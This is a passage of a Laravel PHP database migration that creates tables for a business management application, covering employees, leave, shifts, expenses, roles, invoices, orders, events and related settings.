$table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('employee_details_user_id_foreign'); $table->string('employee_id')->nullable()->unique(); $table->text('address')->nullable(); $table->double('hourly_rate')->nullable(); $table->string('slack_username')->nullable()->unique(); $table->unsignedInteger('department_id')->nullable()->index('employee_details_department_id_foreign'); $table->unsignedBigInteger('designation_id')->nullable()->index('employee_details_designation_id_foreign'); $table->timestamp('joining_date')->useCurrent(); $table->date('last_date')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('employee_details_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('employee_details_last_updated_by_foreign'); $table->date('attendance_reminder')->nullable(); $table->date('date_of_birth')->nullable(); $table->text('calendar_view')->nullable(); $table->text('about_me')->nullable(); $table->unsignedInteger('reporting_to')->nullable()->index('employee_details_reporting_to_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['department_id'])->references(['id'])->on('teams')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['designation_id'])->references(['id'])->on('designations')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['reporting_to'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('employee_docs', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('employee_docs_user_id_foreign'); $table->string('name', 200); $table->string('filename', 200); $table->string('hashname', 200); $table->string('size', 200)->nullable(); $table->unsignedInteger('added_by')->nullable()->index('employee_docs_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('employee_docs_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('leave_types', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('type_name'); $table->string('color'); $table->integer('no_of_leaves')->default(5); $table->boolean('paid')->default(true); $table->integer('monthly_limit')->default(0); $table->timestamps(); }); Schema::create('employee_leave_quotas', function (Blueprint $table) { $table->bigIncrements('id'); $table->unsignedInteger('user_id')->index('employee_leave_quotas_user_id_foreign'); $table->unsignedInteger('leave_type_id')->index('employee_leave_quotas_leave_type_id_foreign'); $table->foreign(['leave_type_id'])->references(['id'])->on('leave_types')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->integer('no_of_leaves'); $table->timestamps(); }); Schema::create('employee_shift_schedules', function (Blueprint $table) { $table->bigIncrements('id'); $table->unsignedInteger('user_id')->index('employee_shift_schedules_user_id_foreign'); $table->date('date')->index(); $table->unsignedBigInteger('employee_shift_id')->index('employee_shift_schedules_employee_shift_id_foreign'); $table->unsignedInteger('added_by')->nullable()->index('employee_shift_schedules_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('employee_shift_schedules_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['employee_shift_id'])->references(['id'])->on('employee_shifts')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->dateTime('shift_start_time')->nullable(); $table->dateTime('shift_end_time')->nullable(); $table->text('remarks')->nullable(); $table->timestamps(); }); Schema::create('employee_shift_change_requests', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedBigInteger('shift_schedule_id')->index('employee_shift_change_requests_shift_schedule_id_foreign'); $table->unsignedBigInteger('employee_shift_id')->index('employee_shift_change_requests_employee_shift_id_foreign'); $table->foreign(['employee_shift_id'])->references(['id'])->on('employee_shifts')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['shift_schedule_id'])->references(['id'])->on('employee_shift_schedules')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->enum('status', ['waiting', 'accepted', 'rejected'])->default('waiting'); $table->text('reason')->nullable(); $table->timestamps(); }); Schema::create('skills', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('name', 200); $table->timestamps(); }); Schema::create('employee_skills', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('employee_skills_user_id_foreign'); $table->unsignedInteger('skill_id')->index('employee_skills_skill_id_foreign'); $table->foreign(['skill_id'])->references(['id'])->on('skills')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('employee_teams', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('team_id')->index('employee_teams_team_id_foreign'); $table->unsignedInteger('user_id')->index('employee_teams_user_id_foreign'); $table->foreign(['team_id'])->references(['id'])->on('teams')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('estimate_items', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('estimate_id')->index('estimate_items_estimate_id_foreign'); $table->foreign(['estimate_id'])->references(['id'])->on('estimates')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('item_name'); $table->text('item_summary')->nullable(); $table->enum('type', ['item', 'discount', 'tax'])->default('item'); $table->double('quantity', 16, 2); $table->double('unit_price', 16, 2); $table->double('amount', 16, 2); $table->string('taxes')->nullable(); $table->string('hsn_sac_code')->nullable(); $table->timestamps(); }); Schema::create('estimate_item_images', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('estimate_item_id')->index('estimate_item_images_estimate_item_id_foreign'); $table->foreign(['estimate_item_id'])->references(['id'])->on('estimate_items')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('filename'); $table->string('hashname')->nullable(); $table->string('size')->nullable(); $table->string('external_link')->nullable(); $table->timestamps(); }); Schema::create('events', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('event_name'); $table->string('label_color'); $table->string('where'); $table->mediumText('description'); $table->dateTime('start_date_time'); $table->dateTime('end_date_time'); $table->enum('repeat', ['yes', 'no'])->default('no'); $table->integer('repeat_every')->nullable(); $table->integer('repeat_cycles')->nullable(); $table->enum('repeat_type', ['day', 'week', 'month', 'year'])->default('day'); $table->enum('send_reminder', ['yes', 'no'])->default('no'); $table->integer('remind_time')->nullable(); $table->enum('remind_type', ['day', 'hour', 'minute'])->default('day'); $table->unsignedInteger('added_by')->nullable()->index('events_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('events_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->text('event_id')->nullable(); $table->timestamps(); }); Schema::create('event_attendees', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('event_attendees_user_id_foreign'); $table->unsignedInteger('event_id')->index('event_attendees_event_id_foreign'); $table->foreign(['event_id'])->references(['id'])->on('events')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('expenses_category', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('category_name'); $table->unsignedInteger('added_by')->nullable()->index('expenses_category_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('expenses_category_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->timestamps(); }); Schema::create('expenses_recurring', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedBigInteger('category_id')->nullable()->index('expenses_recurring_category_id_foreign'); $table->unsignedInteger('currency_id')->nullable()->index('expenses_recurring_currency_id_foreign'); $table->unsignedInteger('project_id')->nullable()->index('expenses_recurring_project_id_foreign'); $table->unsignedInteger('user_id')->nullable()->index('expenses_recurring_user_id_foreign'); $table->unsignedInteger('created_by')->nullable()->index('expenses_recurring_created_by_foreign'); $table->string('item_name'); $table->integer('day_of_month')->nullable()->default(1); $table->integer('day_of_week')->nullable()->default(1); $table->string('payment_method')->nullable(); $table->enum('rotation', ['monthly', 'weekly', 'bi-weekly', 'quarterly', 'half-yearly', 'annually', 'daily']); $table->integer('billing_cycle')->nullable(); $table->boolean('unlimited_recurring')->default(false); $table->double('price'); $table->string('bill')->nullable(); $table->enum('status', ['active', 'inactive'])->default('active'); $table->text('description')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('expenses_recurring_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('expenses_recurring_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['category_id'])->references(['id'])->on('expenses_category')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['created_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('NO ACTION'); $table->foreign(['currency_id'])->references(['id'])->on('currencies')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('purchase_from')->nullable(); $table->timestamps(); }); Schema::create('expenses', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('item_name'); $table->date('purchase_date'); $table->string('purchase_from')->nullable(); $table->double('price', 16, 2); $table->unsignedInteger('currency_id')->index('expenses_currency_id_foreign'); $table->unsignedInteger('project_id')->nullable(); $table->string('bill')->nullable(); $table->unsignedInteger('user_id')->index('expenses_user_id_foreign'); $table->enum('status', ['pending', 'approved', 'rejected'])->default('pending'); $table->boolean('can_claim')->default(true); $table->unsignedBigInteger('category_id')->nullable()->index('expenses_category_id_foreign'); $table->unsignedBigInteger('expenses_recurring_id')->nullable()->index('expenses_expenses_recurring_id_foreign'); $table->unsignedInteger('created_by')->nullable()->index('expenses_created_by_foreign'); $table->text('description')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('expenses_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('expenses_last_updated_by_foreign'); $table->unsignedInteger('approver_id')->nullable()->index('expenses_approver_id_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['approver_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['category_id'])->references(['id'])->on('expenses_category')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['created_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('NO ACTION'); $table->foreign(['currency_id'])->references(['id'])->on('currencies')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['expenses_recurring_id'])->references(['id'])->on('expenses_recurring')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('roles', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('name')->unique(); $table->string('display_name')->nullable(); $table->string('description')->nullable(); $table->timestamps(); }); Schema::create('expenses_category_roles', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedBigInteger('expenses_category_id')->nullable()->index('expenses_category_roles_expenses_category_id_foreign'); $table->unsignedInteger('role_id')->index('expenses_category_roles_role_id_foreign'); $table->foreign(['expenses_category_id'])->references(['id'])->on('expenses_category')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['role_id'])->references(['id'])->on('roles')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('failed_jobs', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('uuid')->unique(); $table->text('connection'); $table->text('queue'); $table->longText('payload'); $table->longText('exception'); $table->timestamp('failed_at')->useCurrent(); }); Schema::create('file_storage', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('path'); $table->string('filename'); $table->string('type', 50)->nullable(); $table->unsignedInteger('size'); $table->enum('storage_location', ['local', 'aws_s3','digitalocean'])->default('local'); $table->timestamps(); }); Schema::create('file_storage_settings', function (Blueprint $table) { $table->increments('id'); $table->string('filesystem'); $table->text('auth_keys')->nullable(); $table->enum('status', ['enabled', 'disabled'])->default('disabled'); $table->timestamps(); }); Schema::create('gdpr_settings', function (Blueprint $table) { $table->increments('id'); $table->boolean('enable_gdpr')->default(false); $table->boolean('show_customer_area')->default(false); $table->boolean('show_customer_footer')->default(false); $table->longText('top_information_block')->nullable(); $table->boolean('enable_export')->default(false); $table->boolean('data_removal')->default(false); $table->boolean('lead_removal_public_form')->default(false); $table->boolean('terms_customer_footer')->default(false); $table->longText('terms')->nullable(); $table->longText('policy')->nullable(); $table->boolean('public_lead_edit')->default(false); $table->boolean('consent_customer')->default(false); $table->boolean('consent_leads')->default(false); $table->longText('consent_block')->nullable(); $table->timestamps(); }); Schema::create('google_calendar_modules', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->boolean('lead_status')->default(false); $table->boolean('leave_status')->default(false); $table->boolean('invoice_status')->default(false); $table->boolean('contract_status')->default(false); $table->boolean('task_status')->default(false); $table->boolean('event_status')->default(false); $table->boolean('holiday_status')->default(false); $table->timestamps(); }); Schema::create('holidays', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->date('date')->index(); $table->string('occassion', 100)->nullable(); $table->unsignedInteger('added_by')->nullable()->index('holidays_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('holidays_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->text('event_id')->nullable(); $table->timestamps(); }); Schema::create('orders', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('client_id')->nullable()->index('orders_client_id_foreign'); $table->date('order_date'); $table->double('sub_total', 8, 2); $table->double('discount')->default(0); $table->enum('discount_type', ['percent', 'fixed'])->default('percent'); $table->double('total', 8, 2); $table->enum('status', ['pending', 'on-hold', 'failed', 'processing', 'completed', 'canceled', 'refunded'])->default('pending'); $table->unsignedInteger('currency_id')->nullable()->index('orders_currency_id_foreign'); $table->enum('show_shipping_address', ['yes', 'no'])->default('no'); $table->string('note')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('orders_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('orders_last_updated_by_foreign'); $table->unsignedBigInteger('company_address_id')->nullable()->index('orders_company_address_id_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['client_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['company_address_id'])->references(['id'])->on('company_addresses')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['currency_id'])->references(['id'])->on('currencies')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->timestamps(); }); Schema::create('invoice_recurring', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('currency_id')->nullable()->index('invoice_recurring_currency_id_foreign'); $table->unsignedInteger('project_id')->nullable()->index('invoice_recurring_project_id_foreign'); $table->unsignedInteger('client_id')->nullable()->index('invoice_recurring_client_id_foreign'); $table->unsignedInteger('user_id')->nullable()->index('invoice_recurring_user_id_foreign'); $table->unsignedInteger('created_by')->nullable()->index('invoice_recurring_created_by_foreign'); $table->date('issue_date'); $table->date('due_date'); $table->double('sub_total')->default(0); $table->double('total')->default(0); $table->double('discount')->default(0); $table->enum('discount_type', ['percent', 'fixed'])->default('percent'); $table->enum('status', ['active', 'inactive'])->default('active'); $table->string('file')->nullable(); $table->string('file_original_name')->nullable(); $table->text('note')->nullable(); $table->enum('show_shipping_address', ['yes', 'no'])->default('no'); $table->integer('day_of_month')->nullable()->default(1); $table->integer('day_of_week')->nullable()->default(1); $table->string('payment_method')->nullable(); $table->enum('rotation', ['monthly', 'weekly', 'bi-weekly', 'quarterly', 'half-yearly', 'annually', 'daily']); $table->integer('billing_cycle')->nullable(); $table->boolean('client_can_stop')->default(true); $table->boolean('unlimited_recurring')->default(false); $table->dateTime('deleted_at')->nullable(); $table->text('shipping_address')->nullable(); $table->unsignedInteger('added_by')->nullable()->index('invoice_recurring_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('invoice_recurring_last_updated_by_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['client_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['created_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['currency_id'])->references(['id'])->on('currencies')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->enum('calculate_tax', ['after_discount', 'before_discount'])->default('after_discount'); $table->timestamps(); }); Schema::create('invoices', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('project_id')->nullable()->index('invoices_project_id_foreign'); $table->unsignedInteger('client_id')->nullable()->index('invoices_client_id_foreign'); $table->unsignedBigInteger('order_id')->nullable()->index('invoices_order_id_foreign'); $table->string('invoice_number')->unique(); $table->date('issue_date'); $table->date('due_date')->index(); $table->double('sub_total', 16, 2); $table->double('discount')->default(0); $table->enum('discount_type', ['percent', 'fixed'])->default('percent'); $table->double('total', 16, 2); $table->unsignedInteger('currency_id')->nullable()->index('invoices_currency_id_foreign'); $table->enum('status', ['paid', 'unpaid', 'partial', 'canceled', 'draft'])->default('unpaid'); $table->enum('recurring', ['yes', 'no'])->default('no'); $table->integer('billing_cycle')->nullable(); $table->integer('billing_interval')->nullable(); $table->string('billing_frequency')->nullable(); $table->string('file')->nullable(); $table->string('file_original_name')->nullable(); $table->text('note')->nullable(); $table->boolean('credit_note')->default(false); $table->enum('show_shipping_address', ['yes', 'no'])->default('no'); $table->unsignedInteger('estimate_id')->nullable()->index('invoices_estimate_id_foreign'); $table->boolean('send_status')->default(true); $table->double('due_amount', 8, 2)->default(0); $table->unsignedInteger('parent_id')->nullable()->index('invoices_parent_id_foreign'); $table->unsignedBigInteger('invoice_recurring_id')->nullable()->index('invoices_invoice_recurring_id_foreign'); $table->unsignedInteger('created_by')->nullable()->index('invoices_created_by_foreign'); $table->unsignedInteger('added_by')->nullable()->index('invoices_added_by_foreign'); $table->unsignedInteger('last_updated_by')->nullable()->index('invoices_last_updated_by_foreign'); $table->text('hash')->nullable(); $table->enum('calculate_tax', ['after_discount', 'before_discount'])->default('after_discount'); $table->unsignedBigInteger('company_address_id')->nullable()->index('invoices_company_address_id_foreign'); $table->foreign(['added_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['client_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['company_address_id'])->references(['id'])->on('company_addresses')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['created_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('NO ACTION'); $table->foreign(['currency_id'])->references(['id'])->on('currencies')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['estimate_id'])->references(['id'])->on('estimates')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['invoice_recurring_id'])->references(['id'])->on('invoice_recurring')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['last_updated_by'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['order_id'])->references(['id'])->on('orders')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->foreign(['parent_id'])->references(['id'])->on('invoices')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->text('event_id')->nullable(); $table->string('custom_invoice_number')->nullable(); $table->timestamps(); }); Schema::create('invoice_items', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('invoice_id')->index('invoice_items_invoice_id_foreign'); $table->foreign(['invoice_id'])->references(['id'])->on('invoices')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('item_name'); $table->text('item_summary')->nullable(); $table->enum('type', ['item', 'discount', 'tax'])->default('item'); $table->double('quantity', 16, 2); $table->double('unit_price', 16, 2); $table->double('amount', 16, 2); $table->string('taxes')->nullable(); $table->string('hsn_sac_code')->nullable(); $table->timestamps(); }); Schema::create('invoice_item_images', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('invoice_item_id')->index('invoice_item_images_invoice_item_id_foreign'); $table->foreign(['invoice_item_id'])->references(['id'])->on('invoice_items')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('filename'); $table->string('hashname')->nullable(); $table->string('size')->nullable(); $table->string('external_link')->nullable(); $table->timestamps(); }); Schema::create('invoice_recurring_items', function (Blueprint $table) { $table->increments('id'); $table->unsignedBigInteger('invoice_recurring_id')->index('invoice_recurring_items_invoice_recurring_id_foreign'); $table->foreign(['invoice_recurring_id'])->references(['id'])->on('invoice_recurring')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('item_name'); $table->double('quantity'); $table->double('unit_price'); $table->double('amount'); $table->text('taxes')->nullable(); $table->enum('type', ['item', 'discount', 'tax'])->default('item'); $table->text('item_summary')->nullable(); $table->string('hsn_sac_code')->nullable(); $table->timestamps(); }); Schema::create('invoice_recurring_item_images', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('invoice_recurring_item_id')->index('invoice_recurring_item_images_invoice_recurring_item_id_foreign'); $table->foreign(['invoice_recurring_item_id'])->references(['id'])->on('invoice_recurring_items')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->string('filename'); $table->string('hashname')->nullable(); $table->string('size')->nullable(); $table->string('external_link')->nullable(); $table->timestamps(); }); Schema::create('invoice_settings', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('invoice_prefix'); $table->unsignedInteger('invoice_digit')->default(3); $table->string('estimate_prefix')->default('EST'); $table->unsignedInteger('estimate_digit')->default(3); $table->string('credit_note_prefix')->default('CN'); $table->unsignedInteger('credit_note_digit')->default(3); $table->string('template'); $table->integer('due_after'); $table->text('invoice_terms'); $table->text('estimate_terms')->nullable(); $table->string('gst_number')->nullable(); $table->enum('show_gst', ['yes', 'no'])->nullable()->default('no'); $table->string('logo', 80)->nullable(); $table->boolean('hsn_sac_code_show')->default(false); $table->string('locale')->nullable()->default('en'); $table->integer('send_reminder')->default(0); $table->enum('reminder', ['after', 'every'])->nullable(); $table->integer('send_reminder_after')->default(0); $table->boolean('tax_calculation_msg')->default(false); $table->integer('show_project')->default(0); $table->enum('show_client_name', ['yes', 'no'])->nullable()->default('no'); $table->enum('show_client_email', ['yes', 'no'])->nullable()->default('no'); $table->enum('show_client_phone', ['yes', 'no'])->nullable()->default('no'); $table->enum('show_client_company_address', ['yes', 'no'])->nullable()->default('no'); $table->enum('show_client_company_name', ['yes', 'no'])->nullable()->default('no'); $table->timestamps(); }); Schema::create('issues', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->mediumText('description'); $table->unsignedInteger('user_id')->nullable()->index('issues_user_id_foreign'); $table->unsignedInteger('project_id')->nullable()->index('issues_project_id_foreign'); $table->foreign(['project_id'])->references(['id'])->on('projects')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->foreign(['user_id'])->references(['id'])->on('users')->onUpdate('CASCADE')->onDelete('SET NULL'); $table->enum('status', ['pending', 'resolved'])->default('pending'); $table->timestamps(); }); Schema::create('job_batches', function (Blueprint $table) { $table->string('id')->primary(); $table->string('name'); $table->integer('total_jobs'); $table->integer('pending_jobs'); $table->integer('failed_jobs'); $table->text('failed_job_ids'); $table->mediumText('options')->nullable(); $table->integer('cancelled_at')->nullable(); $table->integer('created_at'); $table->integer('finished_at')->nullable(); }); Schema::create('jobs', function (Blueprint $table) { $table->bigIncrements('id'); $table->string('queue')->index(); $table->longText('payload'); $table->unsignedTinyInteger('attempts'); $table->unsignedInteger('reserved_at')->nullable(); $table->unsignedInteger('available_at'); $table->unsignedInteger('created_at'); }); Schema::create('knowledge_categories', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('name'); $table->timestamps(); }); Schema::create('knowledge_bases', function (Blueprint $table) { $table->increments('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->string('to')->default('employee'); $table->string('heading')->nullable(); $table->unsignedInteger('category_id')->nullable()->index('knowledge_bases_category_id_foreign'); $table->mediumText('description')->nullable(); $table->unsignedInteger('added_by'); $table->foreign(['category_id'])->references(['id'])->on('knowledge_categories')->onUpdate('CASCADE')->onDelete('CASCADE'); $table->timestamps(); }); Schema::create('language_settings', function (Blueprint $table) { $table->increments('id'); $table->string('language_code'); $table->string('language_name'); $table->enum('status', ['enabled', 'disabled']); $table->timestamps(); }); Schema::create('lead_agents', function (Blueprint $table) { $table->bigIncrements('id'); $table->integer('company_id')->unsigned()->nullable(); $table->foreign('company_id')->references('id')->on('companies')->onDelete('cascade')->onUpdate('cascade'); $table->unsignedInteger('user_id')->index('lead_agents_user_id_foreign'); $table->enum('status', ['enabled', 'disabled'])->default('enabled'); 